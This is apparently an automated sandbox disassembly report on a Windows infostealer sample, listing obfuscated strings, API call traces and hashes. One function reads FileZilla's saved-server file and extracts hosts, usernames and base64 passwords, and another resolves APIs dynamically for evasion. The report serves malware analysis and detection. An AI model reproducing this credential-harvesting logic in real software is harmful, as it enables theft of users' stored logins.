CX0863C, xrefs: 00403BC2
XVZQO7PKQNXUKTMNW, xrefs: 004037DA
5U9NEK8AKB, xrefs: 00402885
MUFOLRH1DWPA4L7N, xrefs: 00403087
2925E2950TETACMRGVAGUMW3XQHJXGS32Z2D8VNIM6NBR37CB1Y1JQWQN9IXU0IUBL0KJISVH23X8UL3TFH5R0TMD, xrefs: 004041B7
&[4i`z"4_, xrefs: 00402CA4
XDEXHJMYIGWJ, xrefs: 004039B5
4DX8GJ2TT, xrefs: 00403505
/":r, xrefs: 00404090
(8Y:$)>:, xrefs: 00404414
KAN3PL0HI0JB3NM37AXBY1P, xrefs: 00403D20
VDMKKZ9SAZS51SY05OGEMMN, xrefs: 004038ED
C4JX0BC9JDVXLIXBXH, xrefs: 00402DB2
WTFY54EM5M, xrefs: 00403055
2DR7CUQK1ZS, xrefs: 00402B28

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrlen$Heap$AllocateCreateProcessProtectVirtualstrlen
String ID: ;?!Fd;*=-A=P,$!2$ *;Q,W)$ 86A(B74>i"7;$!'Z($!=:;C2gl>G &$%?58]##$%Q("-P $&"\;X$&?R[ /G0GEcCP$$&[4i`z"4_$'#/U7$'&^=;Sck*# ]$(3U"T0I4=_%]0Gm P1$(6*>!&(*g.9#$(8Y:$)>:$)18!%$*8:9 ;FP~e$/":r$0&-+SDF$00E9C9BI$00YS$045G8VWINQP$0HHWXX0VODK$0J0OKMUINTWQ$0S1GXOP$0T1A55PUUD1748C$0T9LQY07MN36WOQTR$0YIMQW55K30QC5X9PI$0ZW8RU5QF3GYD$1$(V$1601@<BR)g+7#=&$5$16NJM790JLFIH$17QOUBO48QVG5HDS2JKI$18WZZ61Z959IOF$1O3E0PRU64IP1BVKEIO$1QLRWJBYG$1S874BSUR9AEO5513RGIOC90GAR20RLJ473M8M1IRM6NXCTXOXZIZ11ZSI04TZ49X1JQCT3R081BGVCDQ4OD2DTDGE30V6Y1S6062DV43HS190S7FXOZK1HUIGK$1UEFX4V028$1WS2FVUFBHMB4N$2$9=X6$2+8P:yq$21L8YPC32VM6SMP9$21MP$22ODJ5S27IMB0K$29"-X@K$2925E2950TETACMRGVAGUMW3XQHJXGS32Z2D8VNIM6NBR37CB1Y1JQWQN9IXU0IUBL0KJISVH23X8UL3TFH5R0TMD$2AIW5YOB36I7W$2AR2ITP4TGM383GVA2TAS0LXXP8R17J$2AZUODU8BT8P$2DR7CUQK1ZS$2IM0Y26TE1SQNG$2OEWNWY$2P19XLM7DEKCI$2QUS00A$2U2$35FI0DLZP6GJ$35H4IIO1K59LO7L7A5FN$35IH7SRQ$36RMMGMFTX0$39MXCD31LM7ZE2VI2S7FP$3E8ZPS7$3RGQYGITMKI$3SFL7P8S4O1EIHK$4 'F]#=j.9X$41OR$4A7Y$4BKPRUCLFSGZ1OVWKGADT4H$4DX8GJ2TT$4HHJDLBSGJMVG8$4JU8S0ST2LF$4QX5ONJLZ9FHG48S3Q5O2JBY3E2V8DW65FENT0VPKZ21GQQV987ROC6UO8CKVYNWMILB0V9D4QDCRKSNYHV9GFS3JT8UXL3$4Z0N174KZDNOWRM9$5.6+jh$536HZO3G6NGDWLC61RINO$557EQSVS$59_M$5BXY$5NRWQ55GX$5OTA9YZLQ988CW$5PM3112QYMN6KJRM4I3Y$5QHTCVU$5QU7T6FCGUE34BH58OO$5RCU3YLTOMUX6O4FP$5TOJQZUK2IZ$5U9NEK8AKB$5V-7</zN')$65G3J0EOOZ4UIU90$694BGF6MVMI2NKOOHUT$6CYE$6LNTGALS9CG43C$6M0HSVTEPATLN32$6XBBLPAWS229N0JSN$6Y6]#}m$70C64K9SK5GLMJUJUU1DQW5V8R8Q1YGXV3XD1LYR9HHC8LBQ0SW9QD4L4R8MLT1VYTZTVQSJ6KDIO3XWPSZJBHHS9$762PDQW7QM784G$7@2pgU9T$7LTLJWYCT8D6$7P6MSOOF7JTKALW60HF$7RZBVFDT5$7Z1+):fJ@?"34$7ZQJCRRASLDH12WX21BDQIJ7ZN37I1FXD5QAWWNZBCCICH8ZHRXXXQJZPTUZYU11GPE5MWBGOMCNFB4RPEZ0ER9XW0UCBYBRKLCWDCMVQQJLN5TOYDKU$8-**e$83DEPY$89#6$89RA1RQ$8D0FG$8EZLUC49$8FFP8O4Z56EBFUODLY8KF264JUJ9PYQG7OPHD1$8GUKDUKOV9732M1MGU$8IX1BEK$8TDAUILSRI7$8VVX5Z$98CJAYQA2Z3MSP6GXDBPJ8$9ABF3CNTFWTPQ8VIV7WYA81FKR5$9BX69LECL9Z83GWEQQWG$9CPQ$9HPMDTSANTUIJED8PTS950XFL17VKFOHX039VZ9WBDOG7R$9TOFQEDYG6YSIT629B7J82V6X91S1ZKFVT6IJAQNCUEJZWW1$:+!4^4!*e$:5_sn$=0!m"$, 4$>7_18$>8L*V'K-t$?>,B8>%C{5U^$?LV3E$?tv$@*58R=g:Z)^k=0?$@^>:,7$h04\$A0B4SMN4MFUMBYXPGJJ6Q$AAEW3MIRI4NK2CU0T$AB27YJ0$ACFBBF4D$AFJ4G8CJ87R3NK6FMXJ2TCAFGAEP940UBGSRJH3N4XN92JB9LPEERU68FDXF3XKEG62H1P6E4675Y$AN69FETZWCQKUMFTXTHNI25R4H5T9KVWAJE01GYT0PU3$AV%7jy$AYD5M5LF2$AZQLRLT102N$B4GHDJKBVQMY$B4VLQF6GJ19NZ$BCJX$BDO318CZDO2HAB0Q$BG"#9Ro) ):-$BG8RR0ZDDQILQMPM7$BNA0EWU42AEZ$BWQ6ZABTN539FYMJJ$C#;Q=U'zV *$C4JX0BC9JDVXLIXBXH$C4YOD916WO$CB948Y8W$CEGS5O4U7$CGUD1ZS0GT9K877E3$CN1B7BC97NI29S0NA096$COLPVHFGH$CPNPM4AKAXI7ZB$CX0863C$D67^.&Wnt$DE4C759BLWP8IB2FCSJVJ75J2L4HVAF2YGMWL84KOAFLZOFA8HKIM34FJVJWB$DGUB2HAOHUJP1FAO$DH87FDH$DL1NG$DNY0DTP7SA4S$DWGI77CXP20BQRF6SE1JFRV5LMEBWCW1AM1XTXFNNL6R1W1V72G96P7VAL6U3ABNG9AEZSN49O54VEDZUSD36W4V$DZ7P5B0RR3A8B4CV4W$E347Z1BXILU4A46AKUCE$EDXJ3681ONO$EPZU5ECO3STB2LC7XYOUV$EVF9S$EVU3Q2CQZ6IRB$F0G3V27QNTHB60I39P3$FDS5TCQ$FPRKY03K3278XIKA010WJA9WAE3F$FPZS4FP$FV99$FXQY7AYFE61WNO$FXZQHH81MS8GA7MAXZW$G1USR9946I109$G6GWRJSQ3IZUS$G6PHLIH91SKGQ$GBB$GBMY3CN3EGPJ3YAEIP0L5UV5$GCDOK8CQ$GGAG605$GL73J6GOVU1LQ327E20PWHW$GN6M$GNS5KE4DNWWJH32A$GX#3$H2TFTCZ0YAB$H9MSV5QQ$HHAK7HRU$HI4MHIIS8GN7RXL$HII0MFY5LO0WPO$HNQXEQH52SGOHMOCHH$HOM1DJXHXJ0GGO8NRWJXNGV20USLTA32$HU6HMLBTT34LAZ5JYLID6G2S$HZ17538755T61$I3TOBTRLH7YQU2W06OSKGHU6SM$I64LG$I7QZRTFX3$IEF4IQ2P$IELE0$IIFQ21UZOB5X3XIEUS$IMHNL9HB9BB4OB8X$IMN19HNT5CWJM9$IR9I9$ISTMNETOH$ISYW5IAH9SPY2QZ1CGW0JJG$IVO2XHP1$J84370KAGR3F6DFQ5$JJ6MWLLI$JMDKILUAC4DOEYURBK2H1189$JP52NZ4U56M54B$JWJ97$JX27PS08YOHP9LBFP8P7TKY$JX4TV$JX68114IE$JY8C$K34BYHYN60062YG6RFILFOF5KGQ$KAN3PL0HI0JB3NM37AXBY1P$KBHJQTN9ZVM$KBMAY2832$KCZ8Z7FG31RC1GPX2AH$KEK4ZTIGB4CW1$KEQS1XY5L6WOBQ$KF261U7OI$KLXWNJSF57UX5$KTL2WX5P$KU7YS3TLC84IH4S2$KV4KC93A2I2$KZUX9799A$L6GD0VGM0SQHRPE7IA0LR4JLHP2Q5XW3ICG8A$LASDUP5U$LE89DIXS01T6BV22YHOFTX$LUQIYDKSGQLPFILFAR$LXTP8BZ4X7VI$M31VDVC2ZMAY0DAAURE$M4NKRODUUYD5$M94T5NOPRU2N0G$M98R6$MBWM5G56SQGJW$MFZXVPL2HBMC6VTW$MJJMMFQPVNPWR4K9NCF9V6B4M633STRLGUIHI6UFW22PH97YPJYEBTNQHPAPMX7B6DQ7VD1RSAM2DVWM8ENJ5NKXH$MMX0LSB1UQ92$MQDMM41OH$MQKU31YZ0JCM$MU6RVT6ZWYS9UTHNXMGANAIC0HL0LZL0SAARXX$MUFOLRH1DWPA4L7N$MUMRM18VI$MVSKEM0U672LRI34RZ8X93S2UPLYXAEMHAV6OF2A23SHF7CBGRE$MXQF7ZUL2$MZ9NZXWY3AGDW22IDUQW8R3XOEPSMCK1OH7SSHRFG9FTF06MPWOGDZE46M9UHEM00PZP5J05CLQ9MKRXIDDZYEYYC$N2WOB7S6N6$N4ZWJB3RLHT77$N72HCLCGV4KZS9$NAMF0B$NBR7FMNC1NM0VPE$NK4CO6JJZIM24PJM$NMYG7$O77E8U7CQLJ9$O9HKR25ER0OI2UKES$OADKUWD1KFTEP113HG$ODFN3LUBEEGOPBFCVPS9QGPCDKED0Z$OG3IN$OM451A5XUWZ$OXTDV$P0D64$P4O94W7$P9J3GKOY2HAQIZ4WM8J$PBBOPS7IGW279$PC2J4PNB5ODYF$PFN6E9Z$PFWI1UUM$PH1HMFXVC$PLARUCA6$PMJ0FPEGYZJUH1AQJKOUWX2RTEOBAEVR5ZB36JAQWYT9$PRJWB$PWLTHK$PZTZ$Q1KOICSCXW7E$QCCOU09TRXK5TW9V$QI5WJVEXCTDA9NAGK665$QI6N0NL0ZG$QINIGWVZO5IVVNUSBQ$QJMM10UPT$QLKR5S$QLQN2ZYU$QMLPPC9WQ2BX6SU$QNCVY4W9MG0H9MA3$QPTL5BNJT3FJUROQ7MM$QR3FV9W47R1WH$QRV3FYSY5HE714GVAAF2$QY0AFXCZ4EBNEMZ9B5$RK8X5W2C5$RLVR7WT3M3EV$S##%$/0cg$SDN4HY7I4JW$SDN61VNDJU4$SM3ED1VKV41FGQWMYT$SMYC8RVUEMF$SNWZWI359V14$T4H6QYCUQI$THAOD03EL9$TJPT069F$TPO3VLFF3F8C5NOO4GCUKMW2BY41WWDB$TW2TO6P4ESE3$TWS0K5VJIM$TXSC9L67M7JDPJIVQ$U "4;+zz)'%$U3HKIFRNV6SU8MJ$U9BM4WF0K0AJ0A0$UAJ7XG9HLLLVPQIUG1UTC1GKU9E$UD$4$UEM4GIK4RIF$UEP23LFCNMJHJHZ1UE3PBLF9DNEHX$UKF3$UMHL5U28MWPXD$UNPU40XXVC$UNXVNZC$UOHKKY44O$UTKPDC1XG$V/7#?9-0z@)Z$V35?$V47$V5IVINEIWFU$V8DGC3E$V9CQUHT8CO$VDMKKZ9SAZS51SY05OGEMMN$VDOX6DEBSDK$VEUU7ALKPWR11D94HJN0N$VLGO7E$VODOPH$VPL2DTP6R1O8FAJ7559QGS$VUX2FEXAG$VXISHV04OLDYW$W3S6KG4RHWSCQMAP$W3UFWXRSOC5AHRSFOF204$WK1JIEVT3PB5GJ4P5$WL03JQ3HA3UYO$WOVBN$WTFY54EM5M$WZU4DMU5KX8HF$X;5-=/0eV%6$XDEXHJMYIGWJ$XG07$XQPJVJPI$XVZQO7PKQNXUKTMNW$XZL7V1BRP2UPLJKS7W67$Y0.#3*XU$Y3ACI1U8$Y688M5OEKQ0FA2G$Y7GOIMGUXRRDUTP6EM5AECUK$Y8MEGDHN$YAKP5X60ZCCRF0OC6YF35J8TTHJNT807ET6L$YS3CTRTLCKP9KO2OE$YVC4KGFMTAA$Z4WPJB2J4Z9I1CDL$Z6Q4MGM$ZILUNMPEFMCC8137$ZLDCZVD1WIM63$ZLF6SVN32WF73D435TNAER5N$ZMCCXYVDH6P$ZNYK9J56$ZPQY722$ZU2R4JQM7XXTNQNGD$ZYIJWT44DE$ZYXQEDLANUPJ9U$[!M\$^P $W=)$^wua7('{*5]rf$_4& QW$$`y>VO$dc0)^$r9V,$'t.()$s<^,1*#$s_A (0.a4?DQ[)$z,h8?8F@o${,K.?!N${4<#,$>$}:&'4u:\][$}a:,%$~.,.
API String ID: 3752066509-1658630298
Opcode ID: 9d3dc6108805ba7ac9d3c60d48260cf2d0426349e625831b4ffe858e95d498f7
Instruction ID: e9a1f9b2b41c1733373e5e8b5d726bcda08e3ae4ea89a5973a8b3e92bb686d0c
Opcode Fuzzy Hash: 9d3dc6108805ba7ac9d3c60d48260cf2d0426349e625831b4ffe858e95d498f7
Instruction Fuzzy Hash: 61E28FE5FC07207AE6206F617D07F283A6097D1B18FA4183BFA04796E6F5FE0294465E

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,02726F38), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,027292C8), ref: 0040796B
lstrcat.KERNEL32(?,027291F0), ref: 0040797F
lstrcat.KERNEL32(?,02729310), ref: 00407992
lstrcat.KERNEL32(?,02729130), ref: 004079A6
lstrcat.KERNEL32(?,02726FC0), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,027292C8), ref: 00407A09
lstrcat.KERNEL32(?,027291F0), ref: 00407A1D
lstrcat.KERNEL32(?,02729310), ref: 00407A31
lstrcat.KERNEL32(?,02729130), ref: 00407A44
lstrcat.KERNEL32(?,02727028), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,027292C8), ref: 00407AA8
lstrcat.KERNEL32(?,027291F0), ref: 00407ABB
lstrcat.KERNEL32(?,02729310), ref: 00407ACF
lstrcat.KERNEL32(?,02729130), ref: 00407AE3
lstrcat.KERNEL32(?,0272A008), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,027292C8), ref: 00407B46
lstrcat.KERNEL32(?,027291F0), ref: 00407B5A
lstrcat.KERNEL32(?,02729310), ref: 00407B6D
lstrcat.KERNEL32(?,02729130), ref: 00407B81
lstrcat.KERNEL32(?,0272A070), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,027292C8), ref: 00407BE4
lstrcat.KERNEL32(?,027291F0), ref: 00407BF8
lstrcat.KERNEL32(?,02729310), ref: 00407C0C
lstrcat.KERNEL32(?,02729130), ref: 00407C1F
lstrcat.KERNEL32(?,0272A0D8), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,027292C8), ref: 00407C83
lstrcat.KERNEL32(?,027291F0), ref: 00407C96
lstrcat.KERNEL32(?,02729310), ref: 00407CAA
lstrcat.KERNEL32(?,02729130), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(352D9020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,02726E78), ref: 00407E4B
lstrcat.KERNEL32(?,02729890), ref: 00407E5E
lstrlenA.KERNEL32(352D9020), ref: 00407E6B
lstrlenA.KERNEL32(352D9020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: ff1f90b81e100b1bf67056f39f8342891eb5238e5d64d8528918a30350bb3cf0
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

<Pass encoding="base64">, xrefs: 0041029A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
login: , xrefs: 0041040A
profile: null, xrefs: 004103A8
<Host>, xrefs: 004101BC
<Port>, xrefs: 00410206
url: , xrefs: 004103B7
<User>, xrefs: 00410250
browser: FileZilla, xrefs: 00410399
password: , xrefs: 0041043B

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: a98418dea6b8153c0a646b5b96a46820eb20df3a0a21a9b8c8a60f10b73721d0
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: a98418dea6b8153c0a646b5b96a46820eb20df3a0a21a9b8c8a60f10b73721d0
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,0270C060), ref: 004192B1
GetProcAddress.KERNEL32(76210000,0270C078), ref: 004192CA
GetProcAddress.KERNEL32(76210000,0270C0A8), ref: 004192E2
GetProcAddress.KERNEL32(76210000,0270C0F0), ref: 004192FA
GetProcAddress.KERNEL32(76210000,0270C108), ref: 00419313
GetProcAddress.KERNEL32(76210000,02704B20), ref: 0041932B
GetProcAddress.KERNEL32(76210000,0270A878), ref: 00419343
GetProcAddress.KERNEL32(76210000,0270A8D8), ref: 0041935C
GetProcAddress.KERNEL32(76210000,027267D8), ref: 00419374
GetProcAddress.KERNEL32(76210000,02726820), ref: 0041938C
GetProcAddress.KERNEL32(76210000,02726898), ref: 004193A5
GetProcAddress.KERNEL32(76210000,027269A0), ref: 004193BD
GetProcAddress.KERNEL32(76210000,0270A798), ref: 004193D5
GetProcAddress.KERNEL32(76210000,02726790), ref: 004193EE
GetProcAddress.KERNEL32(76210000,027267C0), ref: 00419406
GetProcAddress.KERNEL32(76210000,0270A998), ref: 0041941E
GetProcAddress.KERNEL32(76210000,027269E8), ref: 00419437
GetProcAddress.KERNEL32(76210000,027269B8), ref: 0041944F
GetProcAddress.KERNEL32(76210000,0270A7D8), ref: 00419467
GetProcAddress.KERNEL32(76210000,027267F0), ref: 00419480
GetProcAddress.KERNEL32(76210000,0270A7B8), ref: 00419498
LoadLibraryA.KERNEL32(02726958,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(027268B0,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(02726748,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(02726778,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(027268C8,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75B30000,02726760), ref: 00419512
GetProcAddress.KERNEL32(751E0000,027267A8), ref: 00419533
GetProcAddress.KERNEL32(751E0000,02726808), ref: 0041954B
GetProcAddress.KERNEL32(76910000,027269D0), ref: 0041956D
GetProcAddress.KERNEL32(75670000,0270A8F8), ref: 0041958E
GetProcAddress.KERNEL32(77310000,02704AF0), ref: 004195AF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 004195C6

Strings

